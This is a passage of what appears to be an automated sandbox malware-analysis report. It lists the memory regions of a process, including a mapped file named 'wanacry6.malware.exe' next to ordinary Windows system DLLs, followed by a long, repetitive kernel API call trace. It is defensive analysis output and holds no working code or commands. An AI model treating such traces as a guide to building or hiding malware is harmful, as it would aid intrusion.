0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 10052 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 10053 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 10054 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 10055 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 10056 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 10057 start_va = 0xa8da570000 end_va = 0xa8da72ffff entry_point = 0x0 region_type = private name = "private_0x000000a8da570000" filename = "" Region: id = 10058 start_va = 0xa8da570000 end_va = 0xa8da576fff entry_point = 0x0 region_type = private name = "private_0x000000a8da570000" filename = "" Region: id = 10059 start_va = 0xa8da720000 end_va = 0xa8da72ffff entry_point = 0x0 region_type = private name = "private_0x000000a8da720000" filename = "" Region: id = 10060 start_va = 0xa8da580000 end_va = 0xa8da707fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8da580000" filename = "" Region: id = 10061 start_va = 0xa8da730000 end_va = 0xa8da763fff entry_point = 0xa8da731030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 10062 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 10063 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 10064 start_va = 0xa8da730000 end_va = 0xa8da8b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8da730000" filename = "" Region: id = 10065 start_va = 0xa8da8c0000 end_va = 0xa8dbcbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8da8c0000" filename = "" Region: id = 10066 start_va = 0xa8da710000 end_va = 0xa8da710fff entry_point = 0x0 region_type = private name = "private_0x000000a8da710000" filename = "" Region: id = 10067 start_va = 0xa8dbcc0000 end_va = 0xa8dbcc0fff entry_point = 0x0 region_type = private name = "private_0x000000a8dbcc0000" filename = "" Region: id = 10068 start_va = 0xa8dbcd0000 end_va = 0xa8dbcd0fff entry_point = 0xa8dbcd0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 10069 start_va = 0xa8dbce0000 end_va = 0xa8dbce1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8dbce0000" filename = "" Region: id = 10070 start_va = 0xa8dbcf0000 end_va = 0xa8dbdfffff entry_point = 0x0 region_type = private name = "private_0x000000a8dbcf0000" filename = "" Region: id = 10071 start_va = 0xa8dbcf0000 end_va = 0xa8dbda9fff entry_point = 0xa8dbd1c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 10072 start_va = 0xa8dbdf0000 end_va = 0xa8dbdfffff entry_point = 0x0 region_type = private name = "private_0x000000a8dbdf0000" filename = "" Region: id = 10073 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 10074 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 10075 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 10076 start_va = 0xa8dbcd0000 end_va = 0xa8dbcd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8dbcd0000" filename = "" Region: id = 10077 start_va = 0xa8dbcf0000 end_va = 0xa8dbddffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8dbcf0000" filename = "" Region: id = 10078 start_va = 0xa8dbcd0000 end_va = 0xa8dbcd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8dbcd0000" filename = "" Region: id = 10079 start_va = 0xa8dbde0000 end_va = 0xa8dbde6fff entry_point = 0x0 region_type = private name = "private_0x000000a8dbde0000" filename = "" Region: id = 10080 start_va = 0xa8dbe00000 end_va = 0xa8dbefffff entry_point = 0x0 region_type = private name = "private_0x000000a8dbe00000" filename = "" Region: id = 10081 start_va = 0xa8dbf00000 end_va = 0xa8dc000fff entry_point = 0xa8dbf2fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 10082 start_va = 0xa8dbf00000 end_va = 0xa8dbf00fff entry_point = 0x0 region_type = private name = "private_0x000000a8dbf00000" filename = "" Region: id = 10083 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 10084 start_va = 0xa8dbf10000 end_va = 0xa8dc1e4fff entry_point = 0xa8dbf10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 10085 start_va = 0xa8dc1f0000 end_va = 0xa8dc1f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8dc1f0000" filename = "" Region: id = 10086 start_va = 0xa8dc1f0000 end_va = 0xa8dc1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8dc1f0000" filename = "" Region: id = 10087 start_va = 0xa8dc200000 end_va = 0xa8dc200fff entry_point = 0x0 region_type = private name = "private_0x000000a8dc200000" filename = "" Region: id = 10088 start_va = 0xa8dc210000 end_va = 0xa8dc701fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8dc210000" filename = "" Region: id = 10089 start_va = 0xa8dc710000 end_va = 0xa8dd57ffff entry_point = 0xa8dc710000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 10090 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10091 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10092 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10093 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10094 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10095 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10096 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10097 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10098 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10099 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10100 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10101 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10102 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10103 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10104 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10105 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10106 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10107 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10108 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10109 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10110 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10111 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10112 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10113 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10114 start_va = 0xa8dd580000 end_va = 0xa8dd797fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8dd580000" filename = "" Region: id = 10115 start_va = 0xa8dd7a0000 end_va = 0xa8dd7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8dd7a0000" filename = "" Region: id = 10131 start_va = 0xa8dd7a0000 end_va = 0xa8e0635fff entry_point = 0xa8dd7a0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 10132 start_va = 0xa8e0640000 end_va = 0xa8e0642fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8e0640000" filename = "" Region: id = 10133 start_va = 0xa8e0650000 end_va = 0xa8e0650fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8e0650000" filename = "" Region: id = 10134 start_va = 0xa8e0660000 end_va = 0xa8e0a59fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8e0660000" filename = "" Region: id = 10135 start_va = 0xa8e0a60000 end_va = 0xa8e0aa3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a8e0a60000" filename = "" Region: id = 10136 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 10137 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 10138 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Thread: id = 883 os_tid = 0xad4 [0147.933] EngAllocMem () returned 0xfffff9014251f030 [0147.933] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.933] MmMapViewOfSection (in: SectionObject=0xffffc00001c662c0, Process=0xffffe000011e9700, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000211daed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0xa8dd580000, SectionOffset=0xffffd000211daed0, ViewSize=0xfffff9014251f370) returned 0x0 [0147.933] EngCreateBitmap () returned 0xfffffffff00506cc [0147.933] EngAssociateSurface () returned 0x1 [0147.933] EngLockSurface () returned 0xfffff901408856b8 [0147.933] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000130ecd0 [0147.933] KeInitializeEvent (in: Event=0xffffe0000130ece8, Type=0x1, State=0 | out: Event=0xffffe0000130ece8) [0147.933] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.940] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0147.955] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.957] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.966] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.966] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.966] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.966] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.966] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.967] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.967] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.967] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.967] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.967] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.967] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.967] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.967] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.968] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.968] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.968] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.968] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.968] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.968] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.968] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.969] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.969] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.969] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.969] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.970] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.970] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.970] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.970] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.970] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.971] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.971] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.971] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.971] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.971] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.972] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.984] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.984] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.985] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.985] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.985] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.985] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.985] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.985] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.986] IoGetCurrentProcess () returned 0xffffe000011e9700 [0147.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0147.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 